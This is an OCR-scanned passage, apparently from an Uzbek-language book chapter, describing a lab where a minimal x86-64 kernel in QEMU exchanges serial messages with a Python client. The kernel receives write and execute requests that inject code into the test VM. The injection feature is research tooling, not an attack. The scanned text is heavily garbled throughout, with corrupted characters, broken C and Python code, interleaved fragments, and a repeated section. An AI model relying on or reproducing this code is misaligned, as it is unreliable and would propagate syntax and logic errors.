ni birinchi parametr bilan ko‘rsatilgan magsadi; buferga ko*chiradi (send_buf yoki

oob_bu-f o‘tkaziladi). PUT makros; tmp @ 0°zgaruvchisin; aniglash uchun typeof

dan ikki marta foydalanishni oz ichiga olgan bir necha qo*shimcha qadamlarni

oladi. E t:bor-befmg,' typeof tashqi tipdag; 0°zgaruvchinj yokj ifodani qabul qila-

di. Bu_ y_erda llfklnChl.S'ldE-ln foydalaniladi: o‘zgaruvchining 0°Z turiga tashlanishi.

Sababi, 1fo‘dan1_ng natijasi qiymatdir, shuning uchun agar asl o*zgaruvchida const

kvahﬁkatsnya}m bo*lsa, u o‘chiriladi. Shunday gilib, @ dagi topshiriq PUT ga const

o‘zgaruvchisini o‘tkazilganida turinj tekshiradi. N
Endi belgilagan TPqiymatlarining har birj i
End uchun “put™ va “gegf i i

yozishni boshlash mumkin: P get funksiyalarini

void put_tp(bool is_oob, TP prefix) {

Struct msg_buffer *byf < is_0ob ? &oob bhyf - &s :

PUT(buf, prefix); i S

4

s

void put_primitive(hool iS_o0b,

Struct msg_buffer *buf = is_oob

assert(PrimitiveMax > = prefix);

put_ip(is_oob, prefix);

switch (prefix) ¢

case Ulnt8:

PUT(buf, value->u8); break:

case Ulnt16:

PUT(buf, value->y ] 6); break:

« omilted for breviy .

case Int64;:

PUT(buf, value-=>i64); break;:

184>

nitive_t *vajye)
2 &aob_brgf s &sem{_brgﬁ J

{
i

[

void put_arrav(bool is_oob, const A" rre
struct msg_buffer *buf = is_oob ? &oo
wuim32 tlen = 0:
put_iptis_oob, Arrav);
PUT(buf. *array); pe & Oxf) /= len)
while (arrav->count * (m'rqr--‘-‘.s‘!fh{llpé‘ ”
PUT(buf. ((const char *)data)[len+]);

}

void put_cstring(bool is_oob, fO’f’{" 3
Struct msg buffer *buf = is_oob ? &o00_;
put_ip(is _oob, CString): = g 5
do { PL;’T({);!-I‘: *p,'r) 28 while (*ph

: . oob, TP prefix, va_list args) {
Static void _put_va( bool is_000b.

if (PrimitiveMax >= prefix) {
Primitive 1 value = l‘tl_fo'EE("’F‘fl'i o):
put_primitive(is_oob. prefix, &value),
[}

i

o 1 *array, const void *data) {
}v_brg[ - &send_buf:

har *ptr) {
" !ﬁgf - &send_buf;

+ 1=\0°

Primitive_t);

if (List == prefix) {
put_ip(is_oob, prefix);

do {

prefix = va_arg(args. TP):
_put_va(is_oob, prefix, al gs)

! while (Nil != prefix);

put_ip(is _oob, prefix);

)

if (Array == prefix) { L
;ﬁ"""' ?*ﬂ :;V“{‘”'Sm‘gs- A”’({l-.‘!{-gﬁsr void *));
ﬂ”f_-ﬂ'.:f'({‘l-'(f,'j_{)ob. a, va_arg(args

{

if (CString == prefix)

ks
r ))-
. const char .
put_cstring(is _oob, va_arg(a'&" £

{1
void p:t!_\-a{bot}! f's#oob. i) 8

va_list ap;

va_start(ap, is_oob); '
TP prefix = va_arg(ap. TP)T
_but_va(is_oob, prefix. ap);
va_end(ap); | |
| Jan el g fimk.\-h‘:.!furi olib tashlandi.
weeficdant et d

“J0 'r.mm ¢

T codlal "
Eslatma. Qisqalik nehin ko —— a’lumotlar send_buf yoki
- arg

2’ lumotlar turli xil TP giymatlarini

pirinchi - .
hun i di. Qulaylik uchun har xil turdagi

. - uc
Barcha “put”funksiyalar ! ‘rsatadi.
>o0_buf ga sf:)zilishi keraklig! n};:‘(;icha kodlana
belgi]aShda tavsiflangan sxema
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L

bir nechta qiymatlarni bitta cha
amalga oshirildi.

Endi xabarlami yuborish va gabu] qilish funksiyalarj kerak:

giruvda birlashtirgan variadik funksiyani @ ham

void send_msg(MT msg_type) {®
struct msg_buffer *buf = (MTOORB
MsgHdr hdr = |

-lype = msg_tvpe, .len = buf->offser,
.checksum = cre32(buf->buf, buf->offset), hdr esum = ()
)!'.

hdr.hdr_csum = cre32(& hd, size
write_serial(& hdp: sizeofthdr)):
wr:'te_serfa!(buﬁb'bz.f buf->offser):

buf->offset = 0

/

static bool msg_hdr validfconst MsgHdy *hdr) ¢
return MTRequest == hdr->type & & MAX MSGS7 - hly-=
cre32(hdr, sizeof(*hd) - Sizeofthdr->hey csum )
; =

void recv_msg() (@

MsgHdr hdy:

read_serial(& hdy sizeofthdy)) :
assert(msg_hdr valid(& hdr));
recv_buf.offset = ():
rea:.’_.seriaf(recv_b:g/.' buf, hay. len);
asser.f(crt'.?.?(recvﬁbufbrgﬂ hdr:len) =

: o

==msg_type) ? &oob_buf : &send buf:

ofthdr) - sizeof(hd: hdr csum)):

len & &
hdly-= hdr_csum;

= hd checkszmu :

| Send_msg @ funksiyas; Xabar turin; 5
NINg asosly qismini o*qish ych
latiladi. U tana qism va sarlayh
va xabarni ketma-ket

bufer ofsetini tiklaydi, hoyat, keyingi xabarni tuzish uchun
Xabarni olish uchyp recV ms
: : . -Msg B xaby,
di. Oldinga borishdan oldin, y sarlavhg turiS alr:::lh
: : ’ ]
. radi,
u xabarning asosiy qisminj o s I. Ushby tek

Va nazorat su
m

S aNgan Xabarjary;

uchun tekshirish tekshiryy;

oqibatidir, bu tuzatib bo‘lmay

U tofgegi Nt sifatida gabul giladi, bu xabar-
N 10°8°ri bufern; tanlash uchun birinchi bo*lib ish-

sum ini . higadi
Port orqali yuboragj, N Malarini (cre32) hisoblab chid

asini ketma-ket portdan 0°qly~
ligi va nazorat summasi may-
shiruvlardan o‘tgandan so'ng:
Masini tasdiglaydi. Mijoz hech
. yl]_bo"maydi deb taxmin gilanadi, shuning
A1yatsiz tugagy yadro holatining buzilish!

di :
8an holat v y; 9ayta ishga tushirish kerak.

Estatma, ere3? va (ss TR
: ot funksiyatyy UCH ko),

Jlishi

P P adoi ; L royyatlar isqertirilis

sababli z’mlmf/m.:{:guu. €re32 j.:m!f,\-”uw f’h’('?“(' / .; (f.:u[m;;,; ,__,';( 6l4 1)1
o - b ~= olinom  ()y p

amalga oshiradi, assert funksiy NG Ay, mhm{* hi : xabar yiubo”

radi va neh martalik xarto orgali qattiy g ‘ Wi esa QOB xabar

iklcy lshng (/1
186 }

e f~f'{'.\'t‘!) aimerlga oslire .

i : i 'I'Shiﬂ.i Slnab

ko‘rish:

/% gy " &*;
protocol.h . "

: / int = UINT32_C(
tpedef eman {QOBPrint ' £
#define LISTY...) List, _I;_A)R’(giim oob, LIST(_VA_ARGS_)))
#define PUT LIST(is_oob, ... P VAl
“define OOB_PRINT(fint. ...) ({®

. e VA ARGS_): |
PUT LIST(true, Ulni32, OOBPrint, CString, fmt, _FA_

send_msg(MTOOB);

0). O0BAssert} OOBType;®

!) . )
' ers witd Lottty DOBPHn
‘yxati OOB xabarlarining lkl\:l't’urn;;)l?}[)gl t?iiinchi e
Y O mgmtllnrininu asosiy qismi ro yxat g
va OOBAssert. OOB xab: =

‘yxatni unga uzatilgan argu-
akros buro }xa_ S S i
4 i adi. OOB_PRINT @ maKxros ‘yadi va format satriga mo
OOBType ]’15°b|3'13(.il'(§)oogp_rint qiymatini oldiga qo-s};:adi Nihoyat, makro seri-
st 1. 3 ini qo : i
mcml-ar Llst:f:lfi tu.vja entga CString pref-iksm q'n ushbu makros format ga-
¥eladigan birinchi argu ':;i yuboradi. E’tibor berl_g' atlarini argument sifatida
1) ostanpli OO? xzt)k;i:;}"di. shuning uchun TP qiym
toridan turlarni aniqlay '

0°tkazish kerak. » wabarini OOB_
Endi “Salom. dunyo™ xa
tirish mumkin:

PRINT ga murojaat qilish bilan almash-
=

* main.c ¥/

void kmain() |
setup_serial(); _ i
OOB_PRINT( " kmain at m?;ﬁ.
.ﬂ_a.'m—:_ _volatile__( hit”),

}

016" Unt64, & kmain);

xabar ma’lumotlarini ko‘rib

rish orqali ni ishga tushirishni

‘nalti -
umpga YO I aratish uchun make

Endi. chigishni hexd dro y

ivada ya
chigiladi (har bir laboratoriyada ¥
Unutmang):

ios.iso -m 300M
/ 2 _cdrom kernel_bios.is
(root gﬁf"‘)'[""ﬂbmb}{-s lay none -boot d-CTON L5
Eﬂqemu—:.‘_vsrenr-\‘sd—64 6P -0l hexdump -C|

o | stdbuf - Y
-serial stdio -enable-kvm | 1€ 1 6a3a3716 od,
i 002fc9e 50000 ..o p—
03 00 00 00 32 00 00 00 < 00 00 00 00 03 1 at 0x%60161|

kmair
00 06 00 00 04 00 00 gf: 2339 78 25 30 3:; g‘; g‘f;, ||x___._5_@ ....... |
6b 6d 61 69 ggéggé 1440 00 0000000
78 00 08 00

‘lS}‘




Ushbu chigishdan shuni ko‘rish mumkinki, OOB_PRINT string formallgshni
amalga oshirmaydi. Yadrom mijoz tomonidan bajariladigan ishni bajarmaydi!

Yuklash xabarlarini implementatsiya qilish

Protokol talablaridan biri shundaki, aloga yadro tomonidan boshlanib. mijoz-
ga uning ishlash muhiti hagida ma’lumot yuborilishi kerak. Ushbu talabni qu-
yidagi ma’lumotlarni tagdim etadigan “yuklash xabari™ni amalga oshirish orqali
bajariladi:

* Fizik manzil maydoni (VMda ishlaydigan yadro nuqtai nazaridan).

* Yadro manzillari (ramzlari). Bu ikki magsadga xizmat qiladi. Birinchisi.
mijozga yadro qayerga yuklanganligini bildirish, shunda u kodnj kiritishda tasodi-
fan uning ustiga yozilmaydi. Ikkinchisi, tashqi kod tomonidan ishlatilishi mumkin
bo‘lgan ma’lum yadro funksiyalarining manzillarin; taqdim etishdir.

Yuklash xabari ma’lumot|ari assotsiativ ro‘yxatda kodlanadi. bu yerda har bir
Juftlikning birinchi elementi ikkinchi elemenming mazmuni uchun identifikat-
siya qatoridir. Ikkinchi e]ementningjoy]ashuvi taqdim etilgan ma’lumotlar turiga
xosdir (odatda kichik ro‘yxat sifatida kodlangan). Bunday holda, ma’lumotni bel-
gilash uchun “symbols” va “mmap” qgatorlaridan foydalaniladi.

“symbols™ni qurish juda oddiy: ularnj faqat simvol nomlari va ularning man-
zillarining assotsiatiy ro‘yxati gilinadi:

#define NAMED(n, t, v) LIS T(CString, n, 1, v)
#define SYMBOL(n) NAMED(#n, Ulni64, &

extern char _ehdr start, end:; "
static void put_symbols() ;7

PUT_LIST(false, CString, “symbols

LIST(S }’MBOL(__efm"r_sfarf), SYMBOL( end),

SYMBOL(put va), § YMBOL(send msg)));
; iC

I

lavhasi, BSS Segmentining oxiri va “put_
lari taqdim etjladj.

tomonidan taqdim etilgan multiboot info

(MBI) maydonidan foydalanish uchun yuklash kodi 0°zgartiriladi:

[bits 64]

code64:

- omitted for brevity .
mov rdi, by

- MULTIBOOT__MB! REGISTER
call kmain

“Kmai™ ta'rifi MBIni areument sifatida qabul qilish uchun moslashtirilishi

e : - ‘ *shiladi:
kerak. Shuningdek. vuklash xabarini tuzadigan va yuboradigan kod qo‘shila

void kmain(const void *mbi) {

setup_serial(); . N T—
OO:*;‘PRM’Tr “kain at 0x%016lx ", Ulnt64, &kmain);
put_ip(false, List);

put_symbols();

put_mbitmbi);

put_ip(false, Nil);

send _msg(MTBoot);

o s i hun “put mbi™ funk-
Oirgi qism MBIni tahlil qilish va “mmap” yaratish uc put_

siyasidir:

#include “multiboot2.h” e +5))
#:;:ff:‘!:ﬁm:;”.ﬂ; DD(@, 5) ((typeofia) It ‘z’:ﬂ:‘;p:&iﬁm}s -1)
#define ALIGN_UP(a, s) (@ + (typeofi@)s - tag_mmap *mmap) {®
static 1;:::‘d put mmap(const struct multibool_tag_

*ond:
sty Fentry, Tend,
const struct H.’If."ffb()ﬂf_ﬁ!.’h‘ﬂp_cH.'.’f'l € .

end = PTR ADD(&mmap->entries

wt_tp(false, List): < svaay e anils
‘;')m',_(eﬂ?gv = &;mm.fp-i‘t’"”'i‘—"‘[ 0] Y ‘,”?j’ ..sf:(;;;
entry = PTR_ADD(entry, mmap->entry._
PUT LIST false, .
NA :YFED{' “address ", Ulnt64, m-r{j:‘,"e{::d’
NAMED( “length ", Ulnt64, em:_;— ' }H-‘
NAMED(type ', Ulni32, entry- tvpesss
put_ip(false, Nil):
! ) 1)

= soid *mbi) {
static void put_mbi(const voi o
; ; : OOT TAG_ALIGN)),
const struct mufﬂ.{g;.f__!{;.?' :;" ffGN UP(s izeof{uint64_t). MULTIB 5]
Jor (tag = PTR_ADD(mDI, TypE END; ,
e 1= MULTIBOOT TAG_TYPE_E MULTIBOOT_TAG_ALIGN)) {

rﬂg - npe . 4 'LIGN UP(!ag-}Sl—ey
tag = PTR_ADD(tag, ¢ =
switch (tag->tvpe) { . IMAP: ®
case nvf{ULngBOOT_TA G _TYPE_MM
put_tp(false, List); %
put_cstring(false, “mmap /: boot tag_mmap
purhm;;mp((mns! struct multi e
put_tp(false, Nil);
break; .y
/* TODO: handle other 1083
default: break;
}
/
}

(0], mmap->size - sizeof(*mmap));

*)1ag);

<IKU




Eslatma. MBI bo ylab yurish uchun bizga GRUB tomonidan tagdim etilean
“multiboot2.h" faylidagi ra 'riflar kerak.

put_mbi @ funksiyasi multiboot_tag_mmap tuzilishini topish uchun MBIda
MULTIBOOT_TAG_TYPE_MMAP @ ni gidiradi. Ushbu tuzilma “mmapni va-
ratish uchun put_mmap ® tomonidan takrorlangan bir qator yozuvlardagi manzil
maydoni ma’lumotlarini 0z ichiga oladi. Ushbu vozuvlarning har biri xotira ora-
lig"ini ifodalaydi va uning asosiy manzili. uzunligi
Hozircha yuklash xabari uchun kerak bo*lg
afzalligi shundaki, hech qanday o°z
larni qo*shish mumkin.

va xotira turini 0°z ichiga oladi.

an narsa shu. Ushbu tartibning
garishlar kiritmasdan qo°shimcha ma’lumot-

So‘rovlarni qayta ishlash
Ixtiyoriy kodni bajarish ikkita operatsiyani o*z ichiga oladi: ikkilik kodni cu-
est xotirasiga yozish va bajarilish oqimini ushbu xotira maydoniga vo*naltirish.
So‘rov ushbu ikki turdagi operatsiyalar ro‘yxatj sifatida be]g”ang i yYadrO ush-

bu ro‘yxatni takrorlash va har bir operatsiyani ket : -
. . a-ke . . é F
qayta ishlaydi. Lqo‘llash orqali so*rovni

lypedef enum {OpWrite = UIN r32_C(0), OpExec} OpTipe;

Har bir operatsiya ro‘yxatdan ikki oki ;
va operatsiya parametrlari, Yoki undan ortiq elementlarni oladi: OpType
Static void op_write() {®
Primitive_t addy;
Array_t array;
uint8_t *payload:
get_va(Ulni64, &addr);
gel_va(Array, &array, &payload);
Jor (uint32 (x = 0; y 1= array.count * (gypen,
e:(m'méf_: *)addr.u64) [x] = payloadfx]; ”
I
Static void op_exec() (®
Primit ive_t addy;
get_va(Ulnt64, & addy)-
((void (*)())addy: u64) ()
/
void kmain(const void *mbj) {
- omitled for brevipy
send_msg(MT. BODU,‘-
while (1) {
recv_msgfl);
assert(List = - gel 1p()): @

Subtype & Oxf); x += /)

Jor (TP prefix = get_tp(); Nil != prefix; prefix = get_ip()) {
Primitive_t op_tvpe; _
assert(Ulnt32 == prefix), /* requests must start with ReqType
get_primitive(prefix, &op_type); o -t
assert(OpWrite == op_type.u32 || OpExec == op_) pe.u32) @
if (OpWrite == op_type.u32)

op_write();

if (OpExec == op_type.u32)

op_exec():

*/

i i ‘yxatini o‘z ichiga olgan
‘ng, operatsiyalar ro‘yxatini 0°z ichig
Mulogot boshlanganidan so'ng, Ops tsi , ini.
so‘rovlarnqi gabul qilish boshlanadi. Shuni ta’kidlash kerakki, disk ras.kafirov.l@bva
reliz tuzilmalari o‘rtasida farq qilinmaydi. shuning uchun assert @ I'Chtdagl ibo-
ralar doimo bajariladi. Ro"yxat elementlarini qayta ishlash bO?h':agfidl, ular to*g"ri
i 0°z ichi Int32 bilan boshlanishi tekshiriladi.
OpType M ni 0°z ichiga olgan U . ] il N
' ;\Iiar bu OpWrite operatsiyasi bo‘lsa, op_write © chagmladl. ‘I;:s“u funks;i) j
. - . L= S :
ro‘v\;dqoi vana ikkita elementni iste’mol qllladl-. Ulpt64 xotira manzili va ma
Ke;zin u r:agsi\; tarkibini xotira manziliga ko chlrad!.-'[ WL S
OpE eratsivalari uchun op_exec ® chagqiriladi. R 10
i . ' riladi entni iya
xatd IJ GYCIEE elementini iste’'mol qiladi. Ushbu elementning qiymati funksiy
Xatdagi Uln

P2 Tadi v iriladi. I .
ko‘rls?tglcmgda ﬂtl‘b:::sl,?;t ;;;:;quelganda, sikl keyingi amalni iste’mol giladi va
1ar qanday fu

ro‘yxat oxirigacha davom etadi.

mijoz dasturini yaratish

. ash tilida i

s , sadlar uchuny ) :
MiJOZ'— blila T?slgug;;:l?(;adm bilan o°zaro alogada bo‘lgan VM dan tashqari
so‘rovlarni yubo

nidan bajariladi va natijalar keyingi
i - . Ushbu kod yadro tomo , ) 4
'da 1shlayd.1gan daswrdasturﬂﬂ qaytariladl- Ml_]OZ!ar ?;aratadlgan kﬁd};:u;lgaiq g;ﬂrai-
l‘ShI()V berish Uchl.l-n m:): ularning barchasi bir x.ll aloga pr(:-.tol ](; g[ tilidc;n
:arq qilishi mumljlg- a[lg*limd‘i ushbu funksiyalarning barchasini Python
ishlari kerak. Ushbu i

iriladi.
foydalangan holda amalga oshiriladi

rotokoli (Pytnon) I
. hi..{;:oﬂ:hﬂn Cunstruct DA 1oct dfOYdi:iﬂ?:;aSﬁ
Protokolni amalga 0S ozish uchun mo‘ljallangan vosita "l-;I P o alndodn
Python da binary parsfer_dyn foydalanish o'miga, Construct dek era \;Iib iy
Murojaatlari ketma-}cetllg:i. abu esa, odatda, gisqaroq ama]g:'i ?Shl:j]f' grfima” butun
god yozish imkoﬂi“‘_ll?:ﬁiigan modullar: fixedint — Python'ning "D1g
i. Boshqa import qili

{l?)l




soni turini almashtirish uchun, va cre32c¢ — yadroning CRC32-C amalga oshirilishi
bilan bir xil bo‘lgan funksiyadan foydalanish uchun.

Maslahat (TIP): Kevinchalik Joydalanish uchun Construct ma Tumotlarini
0 'qib chigish tavsiva etiladi.

Xabar sarlavhasini belgilash:

# protocol.py

import construct as ¢
import fixedint as f
Jrom cre32c import cre32e
MT = c.Enum(c.Int32ul, Boot=0, R
MAX_MSGSZ = 0x400000
MsgHdr = c.Struct(

*hdr '/ c. RawCopy(®
c.Struct(

‘type’

/ MT,

‘len’

/c.ExprValidator(c. Int32ul, ¢, obj <= Max MSGSz)
_csum_offset’/ ¢. Tell, ® - '

‘checksum’

/e dnt32ul®

)

),

‘hdr_csum’/ c. Checksum(e. Int324 cre32e, c.this. hy.

equest=1, Reply=2, 00B=3)

data)®

csun:{agg”sgtlramzhi};n farc: — joriy 0qim holatin; saqlash uchun ishlatiladiga”’:
= €0 nomlangan sintetik 3ot = - chalik,
ushbu maydondan xabar tang aydonning kiritilishidir, Keyin

y Pt sining CRC32-C pi b masi
maydoniga kirish uchun foydalanipu;, "t hisoblashda nazorat sum

C tilidagi amalga oshirish tartibin; s TP & i n
: aqlab, Tp : imi r (butu
sonlar) belgilanadi: q SRS v p S
TP = c.Enum(c.Int32ul,

Ulnt8=0x001, Ulnt16 =0x002, Unt32-

/ 2=0x004, U7, 164=
Int8=0x101, Int16=0x102, Int32=0x104, 1 164= 0’:;3; .
Arrav=0x400, CString= 0x300, List= Ox600, Nil- (5.&'70(:‘
)

I‘Q}

IntPrefixes = (@
TPULuS, TP.Ulntl6, TP.Ulnt32, TP.UInt64,
TPhuS, TPtl6, TP 32, TP.Int64

)

IntConstructs = (@

c.lmSul, c.int16ul, c.int32ul, c.Int64ul.
c.Ini8sl, c.Int16sl, c.Int32sl, c.Int64s!
)

IntFixed = ( e
A ’;'nh; f£UIntl6, fUInt32, fUIni64, fn8, f-nt16, f1ni32, fInt64
) -

def make_adapter(cint, fInt): .« flut(obi))
return c. ExprSymmetricAdapter(cint, lambda obj. _. JInt(obj)
IntAdapters = (® _
make_adapter(cini, fTnt) for clnt, JInt in

) i
IntAlist = ;;5,-(::';;(harPn;ﬁ.\-es. IntAdapters))®

zip(IntConstructs, IntFixed)

. s turlarea mos keladigan TP giymatlari guru?u_;hr.

s prm;lillla‘:'nt:o[;'rﬁg konstruksiyalar guruh'idir.i Python"m.ng
T Jaridan foydalanish o‘rniga, aniq o*lchamli qiy-
e Shu ma;:[sadda. IntAdapters ® deb nom_langan
tlarini IntAlist @ da tegishli adap-

katta-son (big-num) opa
matlar bilan ishlashni xoh ashadi. s
adapterlar ro‘yxati yaratildi. Nihoyat. TP qiym
terlari bilan taqqoslanadi.
Murakkab turlar ularni stand e
amalga oshirish tufayli ko'proq ish

dart kolleksiyalarga aylantirish uchun adapterlarni
giladi:

class ArrayAdapter(c. -‘Wﬂ;’?’f’ r): gm .

def decode(self, obj. Cﬂ”""i“'- f;mFwa

subﬂ-pe = dicr(:iprfﬂ”’ﬂ?ﬁ-“"f' biiv)

return tuple(subl p;;’ (x) ﬁ:; :\'!”;? Zrﬁ)_ j
> ey A » ’!.‘0!‘1(‘0! X1 £ i -0)

;fr. £ Hc J:. O(i;:::({ il IntFived, t'HfPreﬁ.\'eiJ’)[ IL p-‘-"(ﬂb,:][;) J';;
ubtype = dict(z il e i

rem;':: { ‘count " len(obj). s.j:i?gpf? AR

class Lr's.fxla'apu'r'(i‘-{'df’r’” 5 ).' ath):

def decode(self, obj, context. |

ret =[] _

while obj.head = None:

ret.append(obj.head)

obj = obj.tail

return ret h):

def encode(self. obj. CGHW"\“ ? ijr )

xs = {head’: None, ‘tail: NOI

Jor xin reversed(ohj)l-‘ _

Xs = {‘head": x, 'tail : X5/

d))[obj.subtvpe]

‘1‘13




\ OO b L)

CompAlis = [
[” ‘ .-h’l‘u_\'-]
SNTITRT
‘count’

cAnt32ul,

subtype '/ c.Select(*(c.Cons i
* ¢.Const(x, TP) for x in h;.fP:-q

/c.A rray(

Arvayddapien@

fixes)),

c.this.count, ¢.Switch(e. this.s,

-1his.count, us.subtype, die i

- !!L',‘Sfrmg, o COtinar it . .:;3-'-. dict(IntA list)))))),
rTRL.':s-r. Lismdap!er(l.isr) ), '

;T PNil, ¢.Compu *d(None))

PythonObj = ixed

+ (tup| G _
Prefixes = | i Ple, str, list, typern
class Bogt mPreﬁreé 4 (TRA-"?‘(w, TP C-S“:)?-( Ofie))
55 Bo _l:AdaP!e.v-r'c.Adapfe;-)__ e “=otring, TP List, Tp Nil)

def _decode(se:f oby,
return obj.vafye .
f£ ;enf'ode(se{f Uh J Colr
) ey ' € e )
i ext, path):

prefix’: diet(=; (P .
Value': o P(FythonObk;, Prefixes)) [’}’Pe(obj)j
) i

g

Body = Bogy 44
2 i aptey
c.Struct( HEn

context, path):

prefix’/ TP
value'
/ e.Switch(c.this, py,
: :(c.:}ns.p:eﬁx, dicrﬁmA!m +C
i ompAlisy)))

Bgiic Ini vg U!ar . ) ) - 3 1
'1NINg assotsiag Ning tegishli konstruksiyala”

Array _t sarlavhag;j
larin'i ushlab turish tihul; “OEStrukslya aniglanadj
momdaq o‘ralgan bo‘lib, i Maydoni ke|aq;

Keyingi element CSir' {
ring) turidir.

Oxirgi element ygs .
gisiga bog‘lanaddi, shuiﬁ? t(LI:St) tri ®. Bunday hojq,
truksiya, shuningdek, hay; ani;::n‘:“ga rekursi

agan Body

rw»

\ v ““““\\ \m\ “‘ \l .":‘!fn?mm mm“ \\mu\h Il\\\kunll_\falini ta’minlash uchun
h“\l\“ H'\. \\l‘\\'l\m\l\th KU!]SU‘UJ\'SE}’& natijada hosil bo‘lgan obyekini

_\\uligu a}-'lantirish uchun ListAdapter & bilan o*raladi.

+ T i 8 " B . . ist vi (‘“"u;_r\”.‘l‘ e ; v
ladi BOd} TF preilini ohlll gt 2 }u n“;& ,l:tzﬁl:\ avtl:ar qanday TP qiymati-
adigan kOnstrlesi\‘asini qidirqdi. 1shbu kons ! ) = s
y > ) . . yxat elementlarini
ni tahi) gi)ishi (yoki qurishi) mumkin, shuning uchun W 72370 R o
lahlil qilishda shuningdek. xabar tapasiy ta]'}l;!l qll;‘?ll::i?li g‘{ib tashlash' uchun uni

) ® 5 Lonrst i keraksiz prefix
Python to*plamiga o*tkazishda endi kera

BodyAdapter © bilan o'ra-b olinadi. -
Amalga oshirishni to‘liq yakunlash uch

kerak bo*ladi:

; mos ke-

n butun xabarlar uchun konstruksiya

Message = ¢.Struct(®

‘header’

/ MsgHelr,

‘hody’

/ ¢.RawCaopy(Body),

“ body checksum'/ c.Pointer(®

c.this. header hdr:value._csum_offset,
¢.Checksum(e.Int32ul, cre32c, c.this.b odv.data)

)

)

def recv(reader):®

hdr = reader.read(MsgHdr:sizeof())

body = reader.read( MsgHdr.parse( hlr). hdrvalue. len)
mse = Message.parse(hdr + body)

rcff:m (msg. hga::’w: hdr-value.type, msg.body. value)
def send(writer, body):®

body = Body. build(body)

header = MsgHdrbuild({

‘hdr': |

walue " {

‘hpe': MT. Request,

Jen': len(body),

‘checksum’: cre32erbody)

/

!

/) ; -+ body)
writerwrite(header 004
writer flush() o
| arini birlashtiradi va u ikktll(::lllSlnlE]g
masi maydoniga qo [-

dr va Body konstruksiyal
h orqali erishiladi.

b chiqadi, bu sarlavhadagi nazorat sum
a ;

Xabar @ MsgH .
, i
offset qiymatini Pointer @ ga o' tkaz!

CR(32-C ni hisobl
lan;|adi Bunga _csum




return xs

List = ¢.Struct(®

‘head’/ e.Lazy Bound(lambda: Body),

‘tail '/ c.Iffc.this.head = None, c. LazyBound(lambda: List))
)

CompAlist = [®

(TP Array, ArrayAdapter(®

¢ Struct(

‘count’

/e dni32ul,

‘subtype '/ c.Select(*(c.C onst(x, TP) for x in IntPrefives))

l,'_. ' :
/e.Array(

c.this.count, c.Switch(e. this.subtype, dict(Int4 list)))))
(TP.CString, ¢.C String(‘ascii ),0 '
(TP.List, ListA dapter(List)),®

(TENIl, c.Computed(None))

]

PythonObj = IntFixed + (tuple, str; list, p
Prefixes = IntPrefixes + (TP Array, TP.C:
class BodyAdapter(c. 4 dapter). @

def _decode(self, oby, context, path):
return obj.value

def _encode(self; obj, context, path):
return {
prefix": dici(z
value': obj

!
J

Body = BodyAda pler(@

pe(None))
String, TP List, TPNil)

ip(PythonOb;, Preﬁ.tes))[!ype{abj) ],

c.Struct(

prefix'/ TP,

value'

4 c.Switch(e.this. prefix. di t(IntAl; ;

) fix, dict(IntAlist + CompAlisy))

ulax:nmg tegishli konstruksiyalarini

ring) turidir.

Oxirgi element ro¢
gisiga bog‘lanaddi, shuning uchy
truksiya, shuningdek, hal; anigla

I‘M’

jaat giladi. Oldindan deklaratsiyalar bilan ishlash ii.l}koniyati.ni ta'iminlash uc!l:ur?
LazyBound dan foydalaniladi. Konstruksiya llattjljflla l:ﬁi;l]ag? lgan obyektni
th “yxati /Jantirish uchun ListAdapter @ bilan !

? thl{;:(:; ;;alzlri?ii\sjm tahlil giladi va uning IntAlist va CompAlist da mos ktt?-
ladigan konstruksiyasini gidiradi. Ushbu kolnstrukswa ha.r q?nday ]TP qu;'na' i-
ni tahlil qilishi (yoki qurishi) mumkin.'sltmnm.g u.c!mn uni 1:((; {xa'tl ed Eeng:lt:t :]22:
tahlil qilishda. shuningdek. xabar tanasini ‘tahh] q1ilshd'a 'foi,.batan}ila I:.UChin -
Python to*plamiga o*tkazishda endi keraksiz TP prefiksini olib tashlas

BodyAdapter @ bilan o‘rab olinadi. ’ -
f’xmaléa oshirishni to*liq yakunlash uchun butun xabarlar uchun konstruksiya

kerak bo-ladi:

Message = c¢.Struc(®

‘header”

" MsgHclr,

‘hody’
/ e.RawCopy(Body).

" bodv checksum'/ c.Pointer(®
c,_fhf.s'.'k:'f.fdw:L'df:1':.'.’119._csum_o_fﬁe!.
¢.Checksum(c.Int32ul, cre32e, c.this.body.data)
)

)

def recvireader):® -

hdr = reader.read(MsgHdr.sizeof())
body = reader.read(MsgHdrparse(hds
msg = Message.parse(hdr + body)
return (msg. header:hdr.value.type, msg:
def send(writer, body):®

body = Body. build(bodyv)

header = MsgHer:build({

helr': |

value': |

‘tvpe " MT Request.

‘len’: len(body),

‘checksum': cre32c(body)

?

/
]

I

/)

writerwritetheader + body)
writer.flush()

). hdrvalue.len)

body.value)

i :ni birlashtiradi va u ikkinchisining
nstruksiyalarini bir ' . e

Xabar o i@sggd; \:;if;:giy 1;3 sarlavhadagi nazorat summasi maydoniga qo‘l
CR(C32-C ni hisoblal :

i ini Pointer ® ga o
laniladi. Bunga _csum_offset giymatini P

‘tkazish orqali erishiladi.

{IUS




Laboratoriya ishi 24.3:

Mehmon akkauntni ishga tushirish (Python)
Ushbu bo‘limda VM misolinj ishga tushirish va ketma-ket portdan xabarlarni
qabul gilish jarayonini abstrakt qilish uchun Python sinfi yoziladi

s 5 e . - Keyinchalik
ushbu bobda kod kiritish imkoniyatlarinj ta’minlash uchun yp; kengaytiriladi
# guest.py
Jrom subprocess import Popen, PIPE
import protocol

class Guest:®

def __fnf.f__(sew .

self.proc = None

def _enter _(self):

self.proc = Popen(

(exec qemu-system-x86_64 ~display none -booy g -

~cdrom kernel_bios.iso -m 300M -serial stdio -eng Ble-kvm’,

stdout=PIPE, stdin=PIPE, shell=Trye
/

return self

def _exit__(self, type, value, traceback):
self.proc.kill()

def messages(self):@®
while self.proc.returncode is None:
Yield protocol.recv(se lf.proc.stdour)

sinov skripti:

# main.py
Jfrom guest import Gest
with Guest() as fes
Jor msgin g. messagesy):
pPrint(msg)

Skript quyidagi natijani beradi:

(root ghh6)-[/labs/lab3]
# python3 main.py . T At
(E::m,::'huegerSn';'ng new(3, 'OOB", [Unt32(0), 'kmain at 0x%

Ulnt64(4199195)]) ) .
(E:r:m.r.-'rnfegcr'Srrmg‘ new(0, 'Boot’), [ { 3.‘-"”{"’3!* {64{!6838 228)],
[ ehdr start’, Ulnt64(4194304)], [,ﬁ'”"f- : HO'J 1205199
[put_va', Ulni64(4204780)], [send_msg: LI 00y
['mmap’, [[['address’, Ulni64(0)]. ['lengt !:4336}]

[‘tvpe’. Ulmt32(1)]]. [[‘address’, U “"64:63 ] |

